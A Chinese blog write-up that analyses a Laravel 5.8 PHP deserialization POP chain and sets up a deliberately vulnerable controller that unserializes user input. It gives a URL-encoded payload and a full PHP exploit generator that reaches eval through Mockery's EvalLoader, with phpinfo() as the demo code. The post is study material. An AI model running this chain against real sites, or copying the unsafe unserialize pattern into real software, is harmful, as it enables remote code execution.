在@mochazz师傅的博客里看到了Laravel的反序列化pop链,记录一下。

环境准备

  1. phpstudy
  2. php7.2.10
  3. phpstorm
  4. composer

搭建环境

配置composer

下载composer.phar 放到php的目录下面,给php配置好环境变量。

composer.phar 同级目录下新建文件 composer.bat

1
D:\phpStudy\PHPTutorial\php\php-7.2.1-nts> echo @php "%~dp0composer.phar" %*>composer.bat

关闭当前的命令行窗口,打开新的命令行窗口进行测试:

1
2
C:\Users\Y4er>composer -V
Composer version 1.9.0 2019-08-02 20:55:32

更换国内阿里源

1
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

配置项目

创建laravel项目,注意选择版本

20190822140805

创建Demo控制器

1
2
E:\code\php\laravel58>php artisan make:controller DemoController
Controller created successfully.

配置路由

routes/web.php

1
2
3
4
<?php
use App\Http\Controllers\DemoController;

Route::get("/", "[email protected]");

添加 DemoController 控制器的demo方法,代码如下:

20190822142029

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php

namespace App\Http\Controllers;

class DemoController extends Controller
{
    public function demo()
    {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

pop链分析

首先我们要知道 laravel 在反序列化unserialize($code)时,如果反序列化对象的类不存在,会尝试去自动加载这个类。

堆栈如下

1
2
3
4
5
ClassLoader.php:444, Composer\Autoload\includeFile()	//加载完之后包含类
ClassLoader.php:322, Composer\Autoload\ClassLoader->loadClass()	//加载类
DemoController.php:11, spl_autoload_call()	//对象类不存在 调用自动加载
DemoController.php:11, unserialize()		//反序列化传递过来的参数
DemoController.php:11, App\Http\Controllers\DemoController->demo()	//路由进入控制器

接着我们来看下整条pop链,@mochazz师傅的payload

1
http://php.local/?c=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D

用phpstorm打个断点来跟踪下。

整条pop链入口点利用的是类Illuminate\Broadcasting\PendingBroadcast__destruct方法。

20190822143707

$this->event设置为Dispatcher类,然后进入dispatch()函数

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

20190822145626

这里要满足if条件,看下$this->commandShouldBeQueued($command)

1
2
3
4
protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

要$command实现ShouldQueue接口,找下

20190822150408

@mochazz师傅用的是Illuminate\Broadcasting\BroadcastEvent

然后进入$this->dispatchToQueue($command)

20190822145801

出现了call_user_func,这时候我们可以调用任意类的方法了,接下来寻找下可利用的类方法。

在类Mockery\Loader\EvalLoaderload方法中有eval,并且参数可控。

20190822150655

但是要绕过前面的if语句块,也就是让class_exists($definition->getClassName(), false)返回false。

1
2
3
public function getClassName(){
    return $this->config->getName();
}

我们找一个含有getName方法且返回值可控的类,让其返回一个不存在的类名即可绕过if。

vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php 这个类中有

1
2
3
4
public function getName()
{
    return $this->name;
}

最后进入到eval("?>" . $definition->getCode());

1
2
3
4
public function getCode()
{
    return $this->code;
}

getCode()依然可控,这个pop链就结束了。

构造exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

namespace Illuminate\Broadcasting {
    class PendingBroadcast
    {
        protected $event;
        protected $events;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher
    {
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace Illuminate\Broadcasting {
    class BroadcastEvent
    {
        public $connection;

        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}


namespace Mockery\Generator {
    class MockDefinition
    {
        protected $config;
        protected $code = '<?php phpinfo();?>';

        public function __construct($config)
        {
            $this->config = $config;
        }
    }
}

namespace Mockery\Generator {
    class MockConfiguration
    {
        protected $name = '1234';
    }
}

namespace Mockery\Loader {
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {

        }
    }
}

namespace {
    $Mockery = new Mockery\Loader\EvalLoader();
    $queueResolver = array($Mockery, "load");
    $MockConfiguration = new Mockery\Generator\MockConfiguration();
    $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
    $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
    $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher, $BroadcastEvent);
    echo urlencode(serialize($PendingBroadcast));
}
?>

参考链接

  1. Laravel5.8.x反序列化链
  2. Laravel mockery组件反序列化POP链分析

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。